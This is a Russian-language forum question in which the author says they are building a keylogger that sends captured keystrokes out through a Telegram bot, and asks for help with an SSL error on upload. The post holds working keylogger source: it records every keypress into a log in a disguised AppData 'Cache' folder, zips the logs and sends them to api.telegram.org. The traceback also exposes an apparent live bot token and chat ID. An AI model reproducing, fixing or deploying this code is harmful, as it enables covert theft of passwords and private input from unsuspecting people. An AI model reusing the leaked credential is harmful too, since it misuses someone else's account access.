Не могу отправить новосозданный архив при помощи Python через бота

Есть проблема. Не могу отправить только что созданный (при помощи Python) архив через бота. Делаю кейлоггер с отправкой через ТГ бота.

Код:

from pynput import keyboard
import os
import telebot
import shutil

try:
    os.mkdir("C:\\Users\\user\\AppData\\Cache")
except FileExistsError:
    pass

os.chdir("C:\\Users\\user\\AppData\\Cache")

bot = telebot.TeleBot('токен')
count_log_out = 0
log = ''

def process_key_press(key):
    global count_log_out
    global log
    key = str(key)
    if len(key) == 3:
        key = key[1]
    elif key == 'Key.space':
        key = " "
    elif key == 'Key.esc':
        return False
    else:
        key = f' {key[4:]} '
    log += str(key)

    if len(log) >= 1:
        write_file(log)
        log = ''
        count_log_out += 1

def write_file(key):
    global count_log_out
    with open("log.txt", "a+") as logs:
        k = str(key)
        if k.find("key") == -1:
            logs.write(str(log))
        if count_log_out >=50:
            os.chdir("C:\\Users\\user\\AppData")
            shutil.make_archive('All_logs', 'zip', "Cache")
            out_log = bot.send_document(message.from_user.id, open("All_logs.zip", "rb"))
            print(out_log)
            count_log_out = 0

keyboard_listener = keyboard.Listener(on_press=process_key_press)

with keyboard_listener:
    keyboard_listener.join()

Сама ошибка:

Traceback (most recent call last):
  File "a:\Andrey_dev\secret\script2.py", line 84, in <module>
    keyboard_listener.join()
  File "A:\Python 3.10.4\lib\site-packages\pynput\_util\__init__.py", line 276, in join
    six.reraise(exc_type, exc_value, exc_traceback)
  File "A:\Python 3.10.4\lib\site-packages\six.py", line 718, in reraise
    raise value.with_traceback(tb)
  File "A:\Python 3.10.4\lib\site-packages\pynput\_util\__init__.py", line 228, in inner
    return f(self, *args, **kwargs)
  File "A:\Python 3.10.4\lib\site-packages\pynput\keyboard\_win32.py", line 287, in _process
    self.on_press(key)
  File "A:\Python 3.10.4\lib\site-packages\pynput\_util\__init__.py", line 144, in inner
    if f(*args) is False:
  File "a:\Andrey_dev\secret\script2.py", line 56, in process_key_press
    write_file(log)
  File "a:\Andrey_dev\secret\script2.py", line 77, in write_file
    out_log = bot.send_document(760569979, open("All_logs.zip", "rb"))
  File "A:\Python 3.10.4\lib\site-packages\telebot\__init__.py", line 1249, in send_document
    apihelper.send_data(
  File "A:\Python 3.10.4\lib\site-packages\telebot\apihelper.py", line 900, in send_data
    return _make_request(token, method_url, params=payload, files=files, method='post')
  File "A:\Python 3.10.4\lib\site-packages\telebot\apihelper.py", line 146, in _make_request
    result = _get_req_session().request(
  File "A:\Python 3.10.4\lib\site-packages\requests\sessions.py", line 529, in request
    resp = self.send(prep, **send_kwargs)
  File "A:\Python 3.10.4\lib\site-packages\requests\sessions.py", line 645, in send
    r = adapter.send(request, **kwargs)
  File "A:\Python 3.10.4\lib\site-packages\requests\adapters.py", line 517, in send
    raise SSLError(e, request=request)
requests.exceptions.SSLError: HTTPSConnectionPool(host='api.telegram.org', port=443): Max retries exceeded with url: /bot5380162502:AAHn48q3_vn-yTNehMjdfpMEtAdz4LABct0/sendDocument?chat_id=760569979 (Caused by SSLError(SSLWantWriteError(3, 'The operation did not complete (write) (_ssl.c:2396)')))

Есть идеи?


Ответы (0 шт):